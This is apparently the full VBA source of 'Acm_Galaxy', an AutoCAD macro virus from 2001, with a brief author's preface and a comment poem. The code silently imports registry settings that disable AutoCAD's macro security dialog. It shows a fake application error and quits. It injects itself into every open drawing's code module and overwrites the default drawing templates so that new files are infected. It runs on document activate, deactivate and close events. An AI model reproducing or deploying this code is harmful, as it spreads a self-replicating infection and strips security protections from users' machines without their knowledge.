.Acm_Galaxy
.coded sometime Late 2001
The first code for autocad (star) wasnt much , only just worked but only serve to show
being first isnt that hard ... being first and right takes effort
Galaxy improves upon the origional in too many ways to list ;)
theres a tute ... it explains all :)
Antistate
-----code-----
Public WithEvents ACADApp As AcadApplication
Sub galaxy()
Set ACADApp = GetObject(, "AutoCAD.Application")
Set VBEModel = VBE
On Error GoTo runtonext
d1 = Dir("c:\firstrun.txt")
bignum = Int((150000 * Rnd) + 1)
t1 = Application.Preferences.Profiles.ActiveProfile
a1 = FileSystem.Dir("c:\cad.reg")
If a1 = "" Then
Open "c:\cad.reg" For Output As 1
Print #1, "REGEDIT4"
Print #1, "[HKEY_CURRENT_USER\Software\Autodesk\AutoCAD\R15.0\ACAD-1:409\Profiles\" & t1 & "\acadvba]"
Print #1, """AutoEmbedding""=dword:00000001"
Print #1, """AllowBreakOnErrors""=dword:00000000"
Print #1, """ShowSecurityDlg""=dword:00000000"
Print #1, "[HKEY_LOCAL_MACHINE\Software\Autodesk\AutoCAD\R15.0\ACAD-1:409\Profiles\" & t1 & "\acadvba]"
Print #1, """AutoEmbedding""=dword:00000001"
Print #1, """AllowBreakOnErrors""=dword:00000000"
Print #1, """ShowSecurityDlg""=dword:00000000"
Close #1
Reset
Shell "regedit /s c:\cad.reg", vbHide
Open "c:\firstrun.txt" For Output As #1: Close #1
MsgBox "Invalid Ordinal " & bignum, vbCritical, "Application Error"
Application.Quit
End If
le = 0
For i = 1 To Documents.Count
Set at = VBEModel.codepanes(i).codemodule
If at.lines(4, 1) = "Set VBEModel = VBE" And le = 0 Then
newroutine = at.lines(1, at.countoflines)
le = 1
i = 0
End If
If at.lines(4, 1) <> "Set VBEModel = VBE" And le = 1 Then
VBEModel.codepanes(i).codemodule.InsertLines 1, newroutine
If d1 = "firstrun.txt" Then
ACADApp.Documents(i).SaveAs ACADApp.Path & "\Template\acad.dwt", acR15_Template
ACADApp.Documents(i).SaveAs ACADApp.Path & "\Template\acadiso.dwt", acR15_Template
ACADApp.Documents(i).SaveAs ACADApp.Path & "\Template\ACAD -Named Plot Styles.dwt", acR15_Template
ACADApp.Documents(i).SaveAs ACADApp.Path & "\Template\ACADISO -Named Plot Styles.dwt", acR15_Template
d1 = ""
Kill ("c:\firstrun.txt")
End If
ACADApp.Documents(i).Save
End If
runtonext:
Next i
newroutine = ""
'if a star went out
'every time i thought of you
'the night skies
'would be empty forever
'Acad/Galaxy
End Sub
Private Sub AcadDocument_BeginClose()
Call galaxy
'AsT
End Sub
Private Sub AcadDocument_Deactivate()
Call galaxy
End Sub
Private Sub AcadDocument_Activate()
Call galaxy
End Sub
Back
to index